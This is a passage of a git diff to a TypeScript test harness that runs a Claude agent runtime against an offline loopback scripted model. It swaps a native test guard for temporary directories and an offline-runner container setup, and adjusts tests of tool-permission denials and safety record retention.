slow;trace.push(`post-response:${JSON.stringify(response)}`);return response; }]; let failure:unknown; - nativeScriptedService(ingress.url.origin); try{for await(const message of query({prompt:"Read the raft plan.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:2,permissionMode:"default",allowedTools:["Read"],...wiring,abortController:controller, env:{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),PATH:process.env.PATH??"/usr/bin:/bin",ANTHROPIC_BASE_URL:ingress.url.origin,ANTHROPIC_API_KEY:"odysseus-offline-only-key",ANTHROPIC_AUTH_TOKEN:undefined,CLAUDE_CODE_OAUTH_TOKEN:undefined,CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}}})){ if(message.type==="system"&&message.subtype==="init")version=message.claude_code_version; diff --git a/packages/ui-server/tests/safety-result-retention.test.ts b/packages/ui-server/tests/safety-result-retention.test.ts index 0e09bdfe85..ce2c09a2f1 100644 --- a/packages/ui-server/tests/safety-result-retention.test.ts +++ b/packages/ui-server/tests/safety-result-retention.test.ts @@ -1,7 +1,4 @@ import { watchdogMs } from "../../../scripts/test-deadlines"; -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import {searchWitnessScript} from "./helpers/search-witness"; -import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** A tool result that reaches the host already exists in the runtime's own * session: the installed Claude runtime replays it on resume. So its record * must be written whatever happened to the turn, and a record that cannot be @@ -11,9 +8,10 @@ import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; * still owing it when the collection ends is a gap. Installed Claude, a * scripted loopback model and the real host ledger; no key, no network. */ import {expect,test} from "bun:test"; -import {chmodSync,existsSync,mkdirSync,readFileSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; +import {chmodSync,existsSync,mkdirSync,mkdtempSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; import {createRequire} from "node:module"; import {join} from "node:path"; +import {tmpdir} from "node:os"; import {query} from "@anthropic-ai/claude-agent-sdk"; import {createUiDb} from "../src/db/client"; import {openSqliteWriter} from "../src/db/write-worker"; @@ -61,8 +59,8 @@ function modelCalls(calls:{name:string;id:string;input:Record}[] return new Response(events.map(event=>`event: ${(event as {type:string}).type}\ndata: ${JSON.stringify(event)}\n\n`).join(""),{headers:{"content-type":"text/event-stream"}}); } async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType;writes:ReturnType; - first:{results:number;failures:number;aborted:boolean;indexWaits:number;admitted:number;cards:number;refusals:number};searched:boolean;searchInvoked:boolean;replayed:string[]})=>void){ - const root=nativeFixtureDirectory("odysseus-safety-retention-"),brain=join(root,"brain"),home=join(root,"home"); + first:{results:number;failures:number;aborted:boolean;indexWaits:number;admitted:number;cards:number;refusals:number};searched:boolean;replayed:string[]})=>void){ + const root=mkdtempSync(join(tmpdir(),"odysseus-safety-retention-")),brain=join(root,"brain"),home=join(root,"home"); // A note: reading it records nothing before the tool runs, so only the // search output's own record stands between it and a complete chat. mkdirSync(join(brain,"notes"),{recursive:true});mkdirSync(home); @@ -70,10 +68,13 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType '${searched}'; sleep 3; exit "$code";; + *) exec '${rg}' "$@";; +esac +`);chmodSync(join(bin,"rg"),0o755); const db=createUiDb(join(root,"ui.db")),writer=openSqliteWriter(db),writes=createGovernanceWrites(db,writer); holdSafetyRecovery(db); // Each turn's provider requests, as the loopback model received them. @@ -149,7 +150,6 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType{if(existsSync(searched))controller.abort(new Error("Odysseus stopped the turn while the search ran"));},5):undefined; const timer=setTimeout(()=>controller.abort(),watchdogMs(20000)); - nativeScriptedService(origin.url.origin); try{for await(const message of query({prompt:"Listen for the sirens.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:2,permissionMode:"default",allowedTools:tools,...wiring,abortController:controller, ...(resume?{resume}:{}), env:{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),...(interruption==="running"||interruption==="duplicate"||interruption==="denied"||interruption==="retooled"?{PATH:`${bin}:${process.env.PATH??"/usr/bin:/bin"}`,USE_BUILTIN_RIPGREP:"0"}:{PATH:process.env.PATH??"/usr/bin:/bin"}),ANTHROPIC_BASE_URL:origin.url.origin,ANTHROPIC_API_KEY:"odysseus-offline-only-key",ANTHROPIC_AUTH_TOKEN:undefined,CLAUDE_CODE_OAUTH_TOKEN:undefined,CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}}})){ @@ -167,7 +167,7 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnTyper.raw.includes(SONG)),"SAFETY_RUNTIME_REPLAYS_THE_INTERRUPTED_RESULT").toBe(true); - check({db,writes,first,searched:existsSync(searched),searchInvoked:existsSync(searchStatus),replayed}); + check({db,writes,first,searched:existsSync(searched),replayed}); // Contained to its chat: the brain-wide recorder is untouched, and a // recovery has nothing to clear, so the chat keeps its restriction (or, // with nothing lost, stays normal). @@ -251,12 +251,11 @@ test("a denial under an id the runtime admitted twice cannot settle the search t expect(first.admitted,"SAFETY_HOST_REPORTS_BOTH_ADMISSIONS").toBe(2); }),60000); -test("a search denied at its permission card never runs, and its chat stays normal with no gap",()=>voyageHome("denied",({db,writes,first,searched,searchInvoked})=>{ +test("a search denied at its permission card never runs, and its chat stays normal with no gap",()=>voyageHome("denied",({db,writes,first,searched})=>{ // The runtime asks the callback, its last gate, and Penelope's deny keeps // the search from running at all. expect(first.cards,"SAFETY_RUNTIME_ASKS_THE_CALLBACK").toBe(1); expect(searched,"SAFETY_DENIED_SEARCH_NEVER_RAN").toBe(false); - expect(searchInvoked,"SAFETY_DENIED_SEARCH_NEVER_INVOKED").toBe(false); // The denial of the id's only admission proves the call never ran. expect(db.query("SELECT failure,gap FROM safety_collections WHERE turn_id='voyage'").get(),"SAFETY_CARD_DENY_LEAVES_NO_GAP").toEqual({failure:null,gap:null}); const chat=writes.safety("homeward","ithaca"); @@ -288,7 +287,7 @@ test("a denial of another tool under the search's id cannot settle the search th * call's own hook, which never saw the id, denies it, in the runtime's own * hook order or with the hook both tools share starting late. */ for(const late of [false,true])test(`a denied shell call reusing a search's id cannot settle the search that ran${late?", even when the shared hook starts late":""}`,async()=>{ - const root=nativeFixtureDirectory("odysseus-safety-retool-"),brain=join(root,"brain"),home=join(root,"home"); + const root=mkdtempSync(join(tmpdir(),"odysseus-safety-retool-")),brain=join(root,"brain"),home=join(root,"home"); mkdirSync(join(brain,"notes"),{recursive:true});mkdirSync(home); const path=join(brain,"notes","sirens.md");writeFileSync(path,`${SONG}\n`); const db=createUiDb(join(root,"ui.db")),writer=openSqliteWriter(db),writes=createGovernanceWrites(db,writer); @@ -316,7 +315,6 @@ for(const late of [false,true])test(`a denied shell call reusing a search's id c }}); const timer=setTimeout(()=>controller.abort(),watchdogMs(20000)); try{ - nativeScriptedService(origin.url.origin); for await(const message of query({prompt:"Listen for the sirens.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:4,permissionMode:"default",allowedTools:["Grep","Bash"],...wiring,abortController:controller, env:{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),PATH:process.env.PATH??"/usr/bin:/bin",ANTHROPIC_BASE_URL:origin.url.origin,ANTHROPIC_API_KEY:"odysseus-offline-only-key",ANTHROPIC_AUTH_TOKEN:undefined,CLAUDE_CODE_OAUTH_TOKEN:undefined,CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}}})){ if(message.type==="system"&&message.subtype==="init")version=message.claude_code_version; diff --git a/packages/ui-server/tests/selectable-dictation.test.ts b/packages/ui-server/tests/selectable-dictation.test.ts index e6170f8271..cc5ddee624 100644 --- a/packages/ui-server/tests/selectable-dictation.test.ts +++ b/packages/ui-server/tests/selectable-dictation.test.ts @@ -54,7 +54,7 @@ for (const row of [ try { if (row.saved) { // Model persisted settings from another startup, including a removed id. - const writer = new Database(t.app.config.dbPath); writer.exec("PRAGMA busy_timeout = 5000"); + const writer = new Database(t.app.config.dbPath); try { await createSettingsWrites(writer).setSetting("voice.dictation", { defaultProvider: row.saved, smart: false, revision: 3 }); } finally { writer.close(); } } @@ -205,7 +205,7 @@ test("settings enforce owner authority and atomic revisions without minting", as test("invalid settings are total and malformed requests do not change them", async () => { const { alpha, beta, calls } = doubles(); const t = await httpContractApp({ env: { VOICE_PROVIDER: "" }, speechProviders: [alpha, beta] }); - const writer = new Database(t.app.config.dbPath); writer.exec("PRAGMA busy_timeout = 5000"); + const writer = new Database(t.app.config.dbPath); try { for (const value of ["{", "null", "[]", '{"defaultProvider":"alpha","smart":true,"revision":-1}', '{"defaultProvider":"alpha","smart":"yes","revision":1}']) { writer.query("INSERT OR REPLACE INTO settings (key, value, updated_at) VALUES ('voice.dictation', ?, 0)").run(value); diff --git a/packages/ui-server/tests/subscription-login.test.ts b/packages/ui-server/tests/subscription-login.test.ts index 61b4261288..fdc55aeced 100644 --- a/packages/ui-server/tests/subscription-login.test.ts +++ b/packages/ui-server/tests/subscription-login.test.ts @@ -10,7 +10,6 @@ import { watchdogMs } from "../../../scripts/test-deadlines"; * is fake, and nothing leaves the machine: model discovery is off, and the * CLI's base URL is the stub, which the host relay may send the login to. */ -import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -32,7 +31,6 @@ const API_KEY = `sk-ant-api03-${"k".repeat(95)}AA`; const seen: Array<{ xApiKey: string | null; authorization: string | null }> = []; const scratch: string[] = []; -const releaseScripted: Array<()=>void> = []; const savedEnv = { ...process.env }; let server: ReturnType; @@ -56,7 +54,6 @@ afterAll(() => { }); afterEach(() => { - for(const release of releaseScripted.splice(0).reverse())release(); seen.length = 0; for (const key of Object.keys(process.env)) { if (!(key in savedEnv)) delete process.env[key]; @@ -101,7 +98,6 @@ function headlessHost(): { brainPath: string; dbPath: string } { CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", }); - releaseScripted.push(nativeScriptedService(`http://127.0.0.1:${server.port}`,{fixtureRoots:[dir,brainPath],fixtureCredentials:{CLAUDE_CODE_OAUTH_TOKEN:FIRST_TOKEN,ANTHROPIC_API_KEY:API_KEY}})); return { brainPath, dbPath: join(dir, "ui.db") }; } diff --git a/packages/ui-server/tests/turn-scope.test.ts b/packages/ui-server/tests/turn-scope.test.ts index 2cd0109ae7..d0367332cd 100644 --- a/packages/ui-server/tests/turn-scope.test.ts +++ b/packages/ui-server/tests/turn-scope.test.ts @@ -106,8 +106,8 @@ test("shared snapshots count ignored scratch, workspace bytes and repeated obser }); test("files_changed leaves out a reference clone under workspaces/ but counts every path outside it (#3793)", async () => { - // Keep the file volume small; the watchdog also covers the real guarded - // worker and awaited journal cleanup on a loaded host (#4249). + // The cap is small so the file volume stays small: a 30 s hang limit on a + // loaded worker is no budget for writing thousands of files (#4249). const f = scopeFixture({ max_files_changed: 20 }); let child: ReturnType | undefined; try { await f.begin(); child = f.worker('while :; do sleep 1; done'); await sleeping(child); @@ -128,7 +128,7 @@ test("files_changed leaves out a reference clone under workspaces/ but counts ev expect(f.receipt(), "BRAIN_PATHS_PAST_THE_CAP_STILL_PAUSE").toMatchObject({ dimension: "files_changed", count: 21, cap: 20, state: "paused", frozen: true }); await f.scope.decide(f.message("stop"), true); await child.exited; } finally { child?.kill("SIGKILL"); if (child) await child.exited; await f.close(); } -}, watchdogMs(120_000)); +}); test("workspace writes still count toward turn_bytes and pause the turn there (#3793)", async () => { const f = scopeFixture({ max_files_changed: 1, max_bytes_written: 1024 }); let child: ReturnType | undefined; diff --git a/scripts/capture-turn-surface.ts b/scripts/capture-turn-surface.ts index 36745c6d57..662c80a2a8 100644 --- a/scripts/capture-turn-surface.ts +++ b/scripts/capture-turn-surface.ts @@ -1,6 +1,4 @@ -import "./measurement-entry-preload.ts"; import { watchdogMs } from "./test-deadlines"; -import { nativeScriptedService } from "./test-native-guard.ts"; /** #587: capture the installed CLI's request using a loopback scripted model. * This observes serialization, not model choice or model quality. No real * credential is used. Run in an explicitly offline namespace when testing. @@ -93,7 +91,6 @@ export async function captureSurface(control?: { const call = isMain ? calls[mainRequests++] : undefined; return scriptedReply(body.model, call, bodies.length, control?.finalOutputTokens ?? 1); } }); -const releaseAuthority=nativeScriptedService(server.url.origin,{fixtureRoots:[fixture.root,home,...(installedCliPath?[dirname(installedCliPath)]:[])],...(installedCliPath?{fixtureFiles:[installedCliPath]}:{})}); const abortController = new AbortController(); const timeout = setTimeout(() => abortController.abort(), watchdogMs(30_000)); let completion: string | undefined; @@ -168,7 +165,7 @@ const releaseAuthority=nativeScriptedService(server.url.origin,{fixtureRoots:[fi fixtureSkills: fixture.skills, request, frames, rawFrames, requests: bodies.filter(body => body.tools?.some(tool => tool.name === "Read")) }; } finally { - clearTimeout(timeout); overlapped?.spare.close(); server.stop(true);releaseAuthority(); + clearTimeout(timeout); overlapped?.spare.close(); server.stop(true); await bridge?.instance.close(); await core.instance.close(); await brain.client.close(); await prepared.close(); fixture.close(); rmSync(home, { recursive: true, force: true }); diff --git a/scripts/capture.ts b/scripts/capture.ts index 37fe3a6982..33a99895fd 100644 --- a/scripts/capture.ts +++ b/scripts/capture.ts @@ -1,3 +1,4 @@ +import {prepareOfflineContainer} from "./offline-runner/container.mjs"; import { execFileSync } from "node:child_process"; import { copyFile, mkdir, mkdtemp, readFile, realpath, rename, rm, writeFile } from "node:fs/promises"; import { tmpdir } from "node:os"; @@ -46,12 +47,13 @@ function argumentsFor(argv: string[]): { } async function command(argv: string[]): Promise { - const process = Bun.spawn(argv, { cwd: root, stdout: "inherit", stderr: "inherit", stdin: "ignore" }); - if (await process.exited !== 0) throw new Error(`Capture command failed: ${argv.slice(0, 3).join(" ")}`); + const boundary=argv[0]==="docker"&&argv[1]==="run"?prepareOfflineContainer(argv):undefined; + const process = Bun.spawn(boundary?.argv??argv, { cwd: root, stdout: "inherit", stderr: "inherit", stdin: "ignore" }); + try{if (await process.exited !== 0) throw new Error(`Capture command failed: ${argv.slice(0, 3).join(" ")}`);}finally{boundary?.dispose();} } export function captureRenderArgs(root: string, cache: string, staging: string, bun: string, image: string, runnerDirectory: string): string[] { - return ["docker", "run", "--rm", "--network=none", "--read-only", "--ipc=host", "--user", `${process.getuid?.() ?? 0}:${process.getgid?.() ?? 0}`, + return ["docker", "run", "--rm", "--pull=never", "--network=none", "--read-only", "--shm-size=1g", "--user", `${process.getuid?.() ?? 0}:${process.getgid?.() ?? 0}`, "--tmpfs", "/tmp:rw,exec,nosuid,mode=1777", "-v", `${root}:/repo:ro`, "-v", `${cache}:/fonts:ro`, "-v", `${dirname(staging)}:/captures`, "--env", `BRAIN_CAPTURE_RUN=${basename(staging)}`, "-v", `${bun}:/capture-bun:ro`, "-v", `${bun}:/usr/local/bin/bun:ro`, "-v", `${bun}:/usr/local/bin/bunx:ro`, "-w", "/repo", image, "node", `/repo/${relative(root, runnerDirectory)}/inside.mjs`]; } @@ -93,7 +95,7 @@ async function run(): Promise { const bun = await realpath(process.execPath); // Build and render with the same image's Node. The actual Bun binary is a // separately recorded input, needed by the existing build and runtime harnesses. - const buildInImage = ["docker", "run", "--rm", "--network=none", "--user", `${process.getuid?.() ?? 0}:${process.getgid?.() ?? 0}`, + const buildInImage = ["docker", "run", "--rm", "--pull=never", "--network=none", "--user", `${process.getuid?.() ?? 0}:${process.getgid?.() ?? 0}`, "-v", `${root}:/repo`, "-v", `${bun}:/usr/local/bin/bun:ro`, "-v", `${bun}:/usr/local/bin/bunx:ro`, "-w", "/repo", pin.image]; const beforeBuild = await sourceProvenance(root); await command([...buildInImage, "bun", "run", "build"]); diff --git a/scripts/captures/check-runtime-raster.ts b/scripts/captures/check-runtime-raster.ts index 3dc6229d93..20169ad5a5 100644 --- a/scripts/captures/check-runtime-raster.ts +++ b/scripts/captures/check-runtime-raster.ts @@ -19,7 +19,7 @@ const runner = await mkdtemp(resolve(root, "tmp/.raster-check-")); try { const build = await Bun.build({ entrypoints: [resolve(root, "scripts/captures/raster-regression.ts")], target: "node", external: ["playwright"], outdir: runner, naming: "raster.mjs" }); if (!build.success) throw new Error(`Runtime raster check build failed: ${build.logs.join("; ")}`); - const child = Bun.spawn(["docker", "run", "--rm", "--network=none", "--read-only", "--ipc=host", + const child = Bun.spawn(["docker", "run", "--rm", "--pull=never", "--network=none", "--read-only", "--shm-size=1g", "--user", `${process.getuid?.() ?? 0}:${process.getgid?.() ?? 0}`, "--tmpfs", "/tmp:rw,exec,nosuid,mode=1777", "-v", `${root}:/repo:ro`, "-v", `${cache}:/fonts:ro`, "-v", `${output}:/captures`, "-v", `${bun}:/capture-bun:ro`, "-w", "/repo", pin.image, "node", `/repo/${relative(root, runner)}/raster.mjs`], diff --git a/scripts/check-pr.ts b/scripts/check-pr.ts index db5d8050de..7c2f2555e1 100644 --- a/scripts/check-pr.ts +++ b/scripts/check-pr.ts @@ -54,10 +54,10 @@ export function localChecks(plan: CheckPlan, full = false, mergeBase?: string, i // complete test suite above; a fake allowlist check cannot replace it. for (const script of ["measure-claude-runtime", "measure-claude-enforcement"]) checks.push({ name: script, argv: ["unshare", "--user", "--map-root-user", "--net", "sh", "-c", - `ip link set lo up && bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/${script}.ts --out tmp/${script}.json`] }); + `ip link set lo up && bun scripts/${script}.ts --out tmp/${script}.json`] }); checks.push({ name: "native delegation, capabilities and measurement isolation", argv: ["unshare", "--user", "--map-current-user", "--keep-caps", "--net", "sh", "-c", - "ip link set lo up && exec setpriv --inh-caps=-all --ambient-caps=-all --bounding-set=-all sh -c 'bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/measure-claude-delegation.ts --out tmp/delegation-probe.json && bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/measure-claude-capability.ts > tmp/capability-probe.json && bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/measure-claude-haiku.ts > tmp/haiku-probe.json && bun run test ./tests/measurement-isolation.test.ts ./experiments/turn-surface-runtime-placement.test.ts'"] }); + "ip link set lo up && exec setpriv --inh-caps=-all --ambient-caps=-all --bounding-set=-all sh -c 'bun scripts/measure-claude-delegation.ts --out tmp/delegation-probe.json && bun scripts/measure-claude-capability.ts > tmp/capability-probe.json && bun scripts/measure-claude-haiku.ts > tmp/haiku-probe.json && bun run test ./tests/measurement-isolation.test.ts ./experiments/turn-surface-runtime-placement.test.ts'"] }); checks.push({ name: "native managed hosted admission", argv: [bun, "scripts/prove-native-host.ts"] }); checks.push({ name: "native separate-UID worker identity", argv: [bun, "scripts/prove-worker-identity.ts"] }); checks.push({ name: "native reference pool allocation", argv: [bun, "scripts/prove-reference-pool.ts"] }); diff --git a/scripts/ci-runtime-setup.sh b/scripts/ci-runtime-setup.sh index 0e568fde4b..16bab37d40 100644 --- a/scripts/ci-runtime-setup.sh +++ b/scripts/ci-runtime-setup.sh @@ -8,7 +8,7 @@ if [ "${1:-}" != "--native" ]; then bun scripts/ci-disk.ts reclaim fi sudo apt-get update -qq -sudo apt-get install --yes bubblewrap iproute2 poppler-utils strace gcc libc6-dev +sudo apt-get install --yes bubblewrap iproute2 poppler-utils gcc libc6-dev # Unit partitions retain their existing prerequisites; the runtime job alone # prepares the native image before entering its network-disabled proof. if [ "${1:-}" = "--native" ]; then @@ -42,3 +42,10 @@ PROOF_CHROME=$(command -v google-chrome-stable || command -v google-chrome || co if [ -z "$PROOF_CHROME" ]; then echo "Real Chrome is required for hosted runtime proof" >&2; exit 1; fi "$PROOF_CHROME" --version echo "PUPPETEER_EXECUTABLE_PATH=$PROOF_CHROME" >> "$GITHUB_ENV" + +# Explicit disposable-runner preparation. No sudoers or persistent host policy +# is installed. All subsequent project-owned test entries resolve the static +# shim before Bun can load checkout env or interpreter startup hooks. +bash scripts/offline-runner/prepare.sh +sudo env "PATH=$PATH" bash scripts/offline-runner/prepare.sh --install-system +printf '%s/.test-tools\n' "$PWD" >> "$GITHUB_PATH" diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index c5f6aa3009..677161cecd 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-stage-links.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts", "scripts/offline-runner/masks.ts", "scripts/offline-runner/qualification.ts", "scripts/offline-runner/catalog.py","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/scripts/fixtures/claude-core-default-launch.py b/scripts/fixtures/claude-core-default-launch.py index 70ea7fff1d..e988f8100d 100644 --- a/scripts/fixtures/claude-core-default-launch.py +++ b/scripts/fixtures/claude-core-default-launch.py @@ -2,9 +2,9 @@ import argparse,pathlib,os,subprocess p=argparse.ArgumentParser();p.add_argument('--bun',required=True);p.add_argument('--output',required=True);a=p.parse_args() source=pathlib.Path(__file__).resolve().parents[2];out=pathlib.Path(a.output).resolve();out.mkdir(mode=0o700,parents=True,exist_ok=False) -env={'PATH':str(pathlib.Path(a.bun).parent)+':/usr/bin:/bin','HOME':'/tmp/offline-home','BRAIN_CORE_DEFAULT_OFFLINE':'1',**{k:os.environ[k] for k in ['GITHUB_ACTIONS','RUNNER_ENVIRONMENT','BRAIN_NATIVE_TEST_HEAD'] if k in os.environ}} +env={'PATH':str(pathlib.Path(a.bun).parent)+':/usr/bin:/bin','HOME':'/tmp/offline-home','BRAIN_CORE_DEFAULT_OFFLINE':'1'} cmd=['bwrap','--unshare-all','--die-with-parent','--new-session','--proc','/proc','--dev','/dev','--tmpfs','/tmp','--dir','/tmp/offline-home'] for d in ['/usr','/bin','/lib','/lib64','/etc']: if pathlib.Path(d).exists():cmd+=['--ro-bind',d,d] -cmd+=['--ro-bind',str(source),str(source),'--ro-bind',str(pathlib.Path(a.bun).parent),str(pathlib.Path(a.bun).parent),'--bind',str(out),str(out),'--chdir',str(source),a.bun,'--preload',str(source/'scripts/test-network-child-preload.ts'),str(source/'scripts/fixtures/claude-core-default-probe.ts'),str(out)] +cmd+=['--ro-bind',str(source),str(source),'--ro-bind',str(pathlib.Path(a.bun).parent),str(pathlib.Path(a.bun).parent),'--bind',str(out),str(out),'--chdir',str(source),a.bun,str(source/'scripts/fixtures/claude-core-default-probe.ts'),str(out)] raise SystemExit(subprocess.run(cmd,env=env,timeout=60).returncode) diff --git a/scripts/fixtures/claude-core-default-probe.ts b/scripts/fixtures/claude-core-default-probe.ts index a8f84f03e6..508869c7f6 100644 --- a/scripts/fixtures/claude-core-default-probe.ts +++ b/scripts/fixtures/claude-core-default-probe.ts @@ -1,6 +1,4 @@ -import "../test-network-child-preload.ts"; import { watchdogMs } from "../test-deadlines"; -import { nativeScriptedService } from "../test-native-guard.ts"; /** Actual core factory, actual bundled CLI, networkless fictional control only. */ import { mkdirSync,writeFileSync,readFileSync,existsSync,appendFileSync } from "node:fs"; import { join } from "node:path"; @@ -29,7 +27,6 @@ for(const arm of ["allow","deny"]){ entry.forwarded=true;entry.servedModel=MODEL;const call=plans[turn++];const bytes=call?reply([{type:"tool_use",id:"tool_"+arm+"_"+turn,name:call.name,input:call.input}],"tool_use"):reply([{type:"text",text:"Odysseus controlled turn complete."}],"end_turn");entry.rawResponse=bytes;writeFileSync(join(output,arm+"-physical.json"),JSON.stringify(physical,null,2)); return new Response(bytes,{headers:{"content-type":"text/event-stream","anthropic-ratelimit-unified-status":"allowed","anthropic-ratelimit-unified-overage-status":"disabled"}}); }}); - nativeScriptedService(server.url.origin); Object.assign(process.env,{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),CLAUDE_CODE_OAUTH_TOKEN:OAUTH,ANTHROPIC_BASE_URL:`http://127.0.0.1:${server.port}`,ANTHROPIC_MODEL:MODEL,ANTHROPIC_DEFAULT_SONNET_MODEL:MODEL,ANTHROPIC_DEFAULT_OPUS_MODEL:MODEL,ANTHROPIC_DEFAULT_HAIKU_MODEL:MODEL,ANTHROPIC_SMALL_FAST_MODEL:MODEL,CLAUDE_CODE_SUBAGENT_MODEL:MODEL,CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}); const original=nativeSpawn;let close:Promise|undefined,stdout:Promise|undefined,stderr:Promise|undefined,args:any,stdin="",forcedKill=false; observedSpawn=(command:any,options:any)=>{ diff --git a/scripts/measure-claude-capability.ts b/scripts/measure-claude-capability.ts index 0a59e500fd..be78a258ed 100644 --- a/scripts/measure-claude-capability.ts +++ b/scripts/measure-claude-capability.ts @@ -1,6 +1,4 @@ -import "./measurement-entry-preload.ts"; import { watchdogMs } from "./test-deadlines"; -import { nativeScriptedService } from "./test-native-guard.ts"; // #1213: keyless Sonnet 5.5 native metadata control. Run with loopback only. import assert from "node:assert/strict"; import { CLEARED_API_CREDENTIALS } from "../packages/ui-backend-claude/src/subscription"; @@ -26,7 +24,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { ]; return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin); let init: unknown, result: unknown, handshake: unknown; const controller = new AbortController(); const deadline = setTimeout(() => controller.abort(), watchdogMs(20000)); diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index debf3a97ef..d281afe404 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,11 +1,10 @@ -import "./measurement-entry-preload.ts"; import { watchdogMs } from "./test-deadlines"; -import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. // Run with only loopback enabled. All credentials and commands are controlled fixtures. import assert from "node:assert/strict"; import { createMeasurementWorkerFixture } from "./measurement-worker-fixture.js"; -import { mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import type { Options } from "@anthropic-ai/claude-agent-sdk"; import { createClaudeBackend, type InferenceProfile } from "../packages/ui-backend-claude/src/index"; @@ -16,7 +15,7 @@ const entry = Bun.resolveSync("@anthropic-ai/claude-agent-sdk", join(import.meta const { query } = await import(entry) as typeof import("@anthropic-ai/claude-agent-sdk"); const rows: unknown[] = []; for (const allowChild of [false, true]) { - const root = nativeFixtureDirectory("delegation-probe-"); + const root = mkdtempSync(join(tmpdir(), "delegation-probe-")); const cwd = join(root, "cwd"), home = join(root, "home"), marker = join(WORKER_SCRATCH, "marker"); const witness = createWorkerEffectWitness({ marker }); mkdirSync(cwd); @@ -39,7 +38,6 @@ for (const allowChild of [false, true]) { const approvals: unknown[] = []; let mainSent = false, childSent = false, version: string | undefined, terminal: string | undefined, isError: boolean | undefined; const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { - if(new URL(req.url).pathname===witness.path)return witness.fetch(req); if (new URL(req.url).pathname !== "/v1/messages") return Response.json({}); const body = await req.json() as { @@ -66,7 +64,6 @@ for (const allowChild of [false, true]) { type: string; }).type}\ndata: 